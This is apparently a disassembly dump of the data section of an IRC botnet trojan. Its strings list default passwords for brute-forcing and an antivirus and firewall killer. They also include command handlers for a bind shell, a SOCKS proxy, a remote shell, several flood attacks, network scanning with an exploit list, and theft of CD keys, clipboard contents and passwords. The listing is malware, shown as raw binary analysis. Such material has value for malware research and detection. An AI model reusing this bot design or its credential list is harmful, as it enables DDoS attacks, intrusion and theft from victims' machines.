		test	byte ptr [ebx+0], 44h
		test	byte ptr [ebx+0], 4Ch
		test	byte ptr [ebx+0], 54h
		test	byte ptr [ebx+0], 58h
		test	byte ptr [ebx+0], 60h
		test	byte ptr [ebx+0], 68h
		test	byte ptr [ebx+0], 70h
		test	byte ptr [ebx+0], 7Ch
		test	byte ptr [ebx+0], 88h
		test	byte ptr [ebx+0], 90h
		test	byte ptr [ebx+0], 9Ch
		test	byte ptr [ebx+0], 0A4h
		test	byte ptr [ebx+0], 0ACh
		test	byte ptr [ebx+0], 0B4h
		test	byte ptr [ebx+0], 0B8h
		test	byte ptr [ebx+0], 0BCh
		test	byte ptr [ebx+0], 0C4h
		test	byte ptr [ebx+0], 0CCh
		test	byte ptr [ebx+0], 0D4h
		test	byte ptr [ebx+0], 0E0h
		test	byte ptr [ebx+0], 0F0h
		test	byte ptr [ebx+0], 0FCh
		test	byte ptr [ebx+0], 4
		test	dword ptr [ebx+0], offset aDbpassword ;	"dbpassword"
		sbb	bh, dh
		inc	ebx
		add	[eax], ch
		test	dword ptr [ebx+0], offset aDatabasepasswo ; "databasepassword"
		inc	esp
		test	dword ptr [ebx+0], offset aDb2_0 ; "db2"
		dec	esp
		test	dword ptr [ebx+0], offset aSa_0	; "sa"
		pop	eax

loc_43F9E9:				; CODE XREF: .packed:0043F9F0j
		test	dword ptr [ebx+0], offset aSqlpassoainsta ; "sqlpassoainstall"
		jo	short loc_43F9E9
		inc	ebx
		add	[edi+esi*8+43h], bh
		add	[edi+esi*8-877FFBDh], al
		inc	ebx
		add	[eax-67FFBC09h], dl
		test	dword ptr [ebx+0], offset aSiemens ; "siemens"
		test	al, 0F7h
		inc	ebx
		add	[edi+esi*8-84BFFBDh], ch
		inc	ebx
		add	[eax-3FFFBC09h], bh
		test	dword ptr [ebx+0], offset aBlank ; "blank"
		sal	bh, 1
		inc	ebx
		add	al, bl
		test	dword ptr [ebx+0], offset aLan ; "lan"
; ---------------------------------------------------------------------------
		dd offset aInternet_0	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent_0	; "student"
		dd offset aTeacher_0	; "teacher"
		dd offset aStaff_0	; "staff"
		align 8
dword_43FA48	dd 10h			; DATA XREF: sub_401C87+ABBr
					; sub_401C87+AE7r ...
dword_43FA4C	dd 73257325h, 0		; DATA XREF: sub_401404+10Ao
dword_43FA54	dd 255C7325h, 73h	; DATA XREF: sub_401404+186o
dword_43FA5C	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401404+27Do
dword_43FA68	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401404+352o
		dd 2E646574h, 0
unk_43FA84	db  2Dh	; -		; DATA XREF: sub_401404+38Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
unk_43FAA8	db  2Dh	; -		; DATA XREF: sub_401404+3DEo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
dword_43FAE8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401404+40Bo
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
dword_43FB14	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401404+456o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
unk_43FB48	db  2Dh	; -		; DATA XREF: sub_4019A5+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401B0B+35o
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401B0B+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
asc_43FB90	db ' :',0               ; DATA XREF: sub_401C87+86o
		align 4
asc_43FB94:				; DATA XREF: sub_401C87+AEo
		unicode	0, <  !>,0
aPing		db 'PING',0             ; DATA XREF: sub_401C87+19Do
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+1B7o
		align 10h
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1D8o
		align 10h
a001		db '001',0              ; DATA XREF: sub_401C87+1F4o
a005		db '005',0              ; DATA XREF: sub_401C87+209o
a302		db '302',0              ; DATA XREF: sub_401C87+21Eo
a@:					; DATA XREF: sub_401C87+22Eo
		unicode	0, <@>,0
a433		db '433',0              ; DATA XREF: sub_401C87+260o
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+288o
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401C87+2DDo
		align 4
unk_43FBE8	db  2Dh	; -		; DATA XREF: sub_401C87+340o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User %s logged out.',0
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+359o
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3A3o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401C87+3B9o
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401C87+4D9o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401C87+501o
		align 10h
aQuit		db 'QUIT',0             ; DATA XREF: sub_401C87+512o
		align 4
a353		db '353',0              ; DATA XREF: sub_401C87+550o
unk_43FC4C	db  2Dh	; -		; DATA XREF: sub_401C87+581o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: %s.',0
unk_43FC6C	db  2Dh	; -		; DATA XREF: sub_401C87+5A8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User: %s logged out.',0
		align 10h
aPart_0		db 'PART',0             ; DATA XREF: sub_401C87+5C5o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5E9o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401C87+5F4o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401C87+605o
		align 4
a332		db '332',0              ; DATA XREF: sub_401C87+616o
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_401C87+637o
aNotice_0	db 'NOTICE',0           ; DATA XREF: sub_401C87+64Co
		align 4
dword_43FCCC	dd 43434401h, 0		; DATA XREF: sub_401C87+68Eo
aSend_1		db 'SEND',0             ; DATA XREF: sub_401C87+6ACo
		align 4
aS_20		db '%s',0               ; DATA XREF: sub_401C87+6D9o
		align 10h
aS_21		db '%s',0               ; DATA XREF: sub_401C87+6F1o
		align 4
unk_43FCE4	db  2Dh	; -		; DATA XREF: sub_401C87+74Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aNotice_1	db 'NOTICE',0           ; DATA XREF: sub_401C87+7ABo
		align 4
asc_43FD1C:				; DATA XREF: sub_401C87+7D0o
		unicode	0, <#>,0
dword_43FD20	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401C87+856o
dword_43FD2C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401C87+881o
		dd 0D017325h, 0Ah
dword_43FD48	dd 4E495001h, 47h	; DATA XREF: sub_401C87+88Co
dword_43FD50	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401C87+8BDo
		dd 0A0Dh
unk_43FD68	db  2Dh	; -		; DATA XREF: sub_401C87+8E0o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 8
unk_43FDA8	db  2Dh	; -		; DATA XREF: sub_401C87+8FEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401C87+91Bo
		align 4
aS		db '%s',0               ; DATA XREF: sub_401C87+958o
		align 4
unk_43FDF8	db  2Dh	; -		; DATA XREF: sub_401C87+9AFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
unk_43FE18	db  2Dh	; -		; DATA XREF: sub_401C87+A08o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartC	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_43FE50	db  2Dh	; -		; DATA XREF: sub_401C87+A2Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_43FE80	db  2Dh	; -		; DATA XREF: sub_401C87+A3Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
aKlone		db 'klone',0            ; DATA XREF: sub_401C87+A62o
aK		db 'k',0                ; DATA XREF: sub_401C87+A7Ao
a332_0		db '332',0              ; DATA XREF: sub_401C87+A9Co
asc_43FEC0	db ' :',0               ; DATA XREF: sub_401C87:loc_40277Bo
		align 4
aD		db '$%d-',0             ; DATA XREF: sub_401C87+B58o
		align 4
aD_0		db '$%d',0              ; DATA XREF: sub_401C87+C0Eo
aMe		db '$me',0              ; DATA XREF: sub_401C87+C82o
aUser		db '$user',0            ; DATA XREF: sub_401C87+C94o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401C87+CA5o
		align 4
aRndnick	db '$rndnick',0         ; DATA XREF: sub_401C87+CC1o
		align 10h
aServer		db '$server',0          ; DATA XREF: sub_401C87+CD2o
aChr		db '$chr(',0            ; DATA XREF: sub_401C87+CDDo
		align 10h
aChr_0		db '$chr(',0            ; DATA XREF: sub_401C87:loc_40297Ao
asc_43FF06	db ')',0                ; DATA XREF: sub_401C87+D1Bo
a63		db '63',0               ; DATA XREF: sub_401C87+D43o
		align 4
asc_43FF0C:				; DATA XREF: sub_401C87+E1Eo
		unicode	0, <  >
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_401C87+E68o
aRn		db 'rn',0               ; DATA XREF: sub_401C87+E80o
		align 4
aDie		db 'die',0              ; DATA XREF: sub_401C87+E95o
aD_1:					; DATA XREF: sub_401C87+EAAo
		unicode	0, <d>,0
aLogout		db 'logout',0           ; DATA XREF: sub_401C87+EBFo
		align 4
aLo		db 'lo',0               ; DATA XREF: sub_401C87+ED4o
		align 10h
aVersion	db 'version',0          ; DATA XREF: sub_401C87+EE9o
aVer		db 'ver',0              ; DATA XREF: sub_401C87+EFEo
aDedication	db 'dedication',0       ; DATA XREF: sub_401C87+F13o
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401C87+F28o
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401C87+F3Do
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401C87+F52o
		align 4
aSecure		db 'secure',0           ; DATA XREF: sub_401C87+F67o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401C87+F7Co
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401C87+F91o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401C87+FA6o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401C87+FBBo
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401C87+FD0o
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401C87+FE5o
		align 4
aServer_1	db 'Server',0           ; DATA XREF: sub_401C87+FFEo
		align 4
dword_43FFA4	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401C87+1003o
aSocks4		db 'socks4',0           ; DATA XREF: sub_401C87+1025o
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401C87+103Ao
		align 4
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401C87+104Fo
		align 10h
aServer_2	db 'Server',0           ; DATA XREF: sub_401C87+1068o
		align 4
dword_43FFD8	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401C87+106Do
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401C87+1075o
		align 4
aServer_3	db 'Server',0           ; DATA XREF: sub_401C87+108Eo
		align 4
dword_43FFFC	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401C87+1093o
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401C87+109Eo
		align 4
aServer_4	db 'Server',0           ; DATA XREF: sub_401C87+10B7o
		align 10h
dword_440020	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401C87+10BCo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401C87+10C7o
aLogList	db 'Log list',0         ; DATA XREF: sub_401C87+10E0o
		align 4
dword_440044	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401C87+10E5o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401C87+10F0o
		align 10h
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_401C87+1109o
		align 10h
dword_440070	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401C87+110Eo
dword_440080	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401C87+1119o
dword_44008C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+1132o
dword_440098	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401C87+1137o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401C87+1142o
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_401C87+115Bo
		align 4
dword_4400B8	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401C87+1160o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401C87+116Bo
		align 10h
aSkysynFlood	db 'SkySyn flood',0     ; DATA XREF: sub_401C87+1184o
		align 10h
dword_4400E0	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401C87+1189o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401C87+1194o
		align 4
aTarga3Flood	db 'Targa3 flood',0     ; DATA XREF: sub_401C87+11ADo
		align 4
dword_44010C	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401C87+11B2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401C87+11BDo
		align 4
aWonkFlood	db 'Wonk flood',0       ; DATA XREF: sub_401C87+11D6o
		align 4
dword_440134	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401C87+11DBo
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401C87+11E6o
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_401C87+1207o
		align 4
dword_440158	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401C87+120Co
dword_440164	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+1225o
dword_440170	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401C87+122Ao
dword_44017C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+1246o
dword_440188	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401C87+124Bo
dword_440194	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+1264o
dword_4401A0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401C87+1269o
dword_4401AC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401C87+1285o
dword_4401BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401C87+128Ao
dword_4401CC	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+12A3o
dword_4401D8	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401C87+12A8o
dword_4401E4	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401C87+12C4o
dword_4401F4	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401C87+12C9o
dword_440204	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401C87+12E2o
dword_440214	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401C87+12E7o
dword_440224	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401C87+1303o
dword_440234	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401C87+1308o
unk_440244	db  2Dh	; -		; DATA XREF: sub_401C87+1322o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401C87+133Co
aTsunamiFlood	db 'Tsunami flood',0    ; DATA XREF: sub_401C87+1355o
		align 4
dword_440294	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401C87+135Ao
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401C87+1365o
		align 10h
aWisdomAttack	db 'Wisdom attack',0    ; DATA XREF: sub_401C87+137Eo
		align 10h
dword_4402C0	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401C87+1383o
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401C87+138Eo
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_401C87+13A7o
		align 4
dword_4402E4	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401C87+13ACo
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401C87+13B7o
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_401C87+13D0o
		align 4
dword_440308	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401C87+13D5o
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401C87+13E0o
		align 10h
aServer_5	db 'Server',0           ; DATA XREF: sub_401C87+13F9o
		align 4
dword_440328	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401C87+13FEo
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401C87+1409o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401C87+141Eo
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401C87+1433o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401C87+1448o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401C87+145Do
		align 10h
aClone		db 'Clone',0            ; DATA XREF: sub_401C87+1476o
		align 4
dword_440378	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401C87+147Bo
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401C87+1486o
		align 4
aSecure_1	db 'Secure',0           ; DATA XREF: sub_401C87+149Fo
		align 4
dword_44039C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401C87+14A4o
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401C87+14AFo
		align 4
aScan_0		db 'Scan',0             ; DATA XREF: sub_401C87+14C8o
		align 10h
dword_4403C0	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401C87+14CDo
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401C87+14D8o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401C87+14EDo
		align 10h
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401C87+1502o
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401C87+1517o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401C87+152Co
		align 4
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401C87+1541o
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401C87+1556o
aExplist	db 'explist',0          ; DATA XREF: sub_401C87+156Bo
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401C87+1580o
aR		db 'r',0                ; DATA XREF: sub_401C87+1595o
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401C87+15AAo
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401C87+15BFo
		align 4
aQuit_0		db 'quit',0             ; DATA XREF: sub_401C87+15D4o
		align 2
aQ		db 'q',0                ; DATA XREF: sub_401C87+15E9o
aStatus		db 'status',0           ; DATA XREF: sub_401C87+15FEo
		align 4
aS_0:					; DATA XREF: sub_401C87+1613o
		unicode	0, <s>,0
aId		db 'id',0               ; DATA XREF: sub_401C87+1628o
		align 4
aI:					; DATA XREF: sub_401C87+163Do
		unicode	0, <i>,0
aReboot		db 'reboot',0           ; DATA XREF: sub_401C87+1652o
		align 4
unk_440468	db  2Dh	; -		; DATA XREF: sub_401C87+1669o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
unk_440488	db  2Dh	; -		; DATA XREF: sub_401C87+1670o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
aThreads	db 'threads',0          ; DATA XREF: sub_401C87+16A4o
aT:					; DATA XREF: sub_401C87+16B9o
		unicode	0, <t>,0
aAliases	db 'aliases',0          ; DATA XREF: sub_401C87+16CEo
aAl		db 'al',0               ; DATA XREF: sub_401C87+16E3o
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401C87+16F8o
aLg		db 'lg',0               ; DATA XREF: sub_401C87+170Do
		align 10h
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401C87+1722o
		align 4
aClg		db 'clg',0              ; DATA XREF: sub_401C87+1737o
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401C87+174Co
aNi		db 'ni',0               ; DATA XREF: sub_401C87+1761o
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401C87+1776o
aSi		db 'si',0               ; DATA XREF: sub_401C87+178Bo
		align 4
aRemove010	db 'remove010',0        ; DATA XREF: sub_401C87+17A0o
		align 4
aRm010		db 'rm010',0            ; DATA XREF: sub_401C87+17B5o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401C87+17CAo
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401C87+17DFo
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401C87+17F4o
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401C87+1809o
aUptime		db 'uptime',0           ; DATA XREF: sub_401C87+181Eo
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401C87+1833o
		align 4
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401C87+1848o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401C87+185Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401C87+1872o
		align 10h
aDll		db 'dll',0              ; DATA XREF: sub_401C87+1887o
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401C87+189Co
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401C87+18B1o
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401C87+18C6o
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_401C87+18DFo
		align 4
dword_44057C	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401C87+18E4o
dword_440588	dd 6F6877h		; DATA XREF: sub_401C87+18EFo
dword_44058C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401C87+190Co
dword_4405A0	dd 706D453Ch, 3E7974h	; DATA XREF: sub_401C87:loc_4035BEo
dword_4405A8	dd 202E6425h, 7325h	; DATA XREF: sub_401C87+1946o
unk_4405B0	db  2Dh	; -		; DATA XREF: sub_401C87+197Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aSpoof		db 'spoof',0            ; DATA XREF: sub_401C87+199Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_401C87+19B3o
unk_4405E0	db  2Dh	; -		; DATA XREF: sub_401C87+19CEo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aGetclip	db 'getclip',0          ; DATA XREF: sub_401C87+1A0Co
aGc		db 'gc',0               ; DATA XREF: sub_401C87+1A21o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401C87+1A36o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401C87+1A4Bo
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401C87+1A60o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401C87+1A75o
		align 4
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401C87+1A8Ao
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401C87+1A9Fo
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401C87+1AB4o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401C87+1AC9o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401C87+1ADEo
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401C87+1AF3o
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401C87+1B08o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401C87+1B1Do
		align 4
aCrash		db 'crash',0            ; DATA XREF: sub_401C87+1B32o
		align 4
dword_440694	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401C87+1B48o
		dd 746F6220h, 2Eh
aCrash_0	db 'crash',0            ; DATA XREF: sub_401C87+1B82o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401C87+1B98o
aSa		db 'sa',0               ; DATA XREF: sub_401C87+1BADo
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401C87+1BC2o
		align 10h
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1BD9o
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401C87+1BECo
		align 10h
aFp		db 'fp',0               ; DATA XREF: sub_401C87+1BFDo
		align 4
unk_440704	db  2Dh	; -		; DATA XREF: sub_401C87+1C2Bo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
unk_44072C	db  2Dh	; -		; DATA XREF: sub_401C87+1CA7o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToStar_0	db 'Failed to start search thread, error: <%d>.',0
unk_440768	db  2Dh	; -		; DATA XREF: sub_401C87+1D1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
aRandom		db 'Random',0           ; DATA XREF: sub_401C87+1ECDo
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401C87+1ED4o
		align 10h
unk_4407C0	db  2Dh	; -		; DATA XREF: sub_401C87+1EFFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
unk_44082C	db  2Dh	; -		; DATA XREF: sub_401C87+1F5Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_1	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_440868	db  2Dh	; -		; DATA XREF: sub_401C87:loc_403C47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_2	db '- Failed to start scan, port is invalid.',0
		align 10h
unk_4408A0	db  2Dh	; -		; DATA XREF: sub_401C87+1FD6o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunning	db ' Already running.',0
		align 10h
unk_4408C0	db  2Dh	; -		; DATA XREF: sub_401C87+2083o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
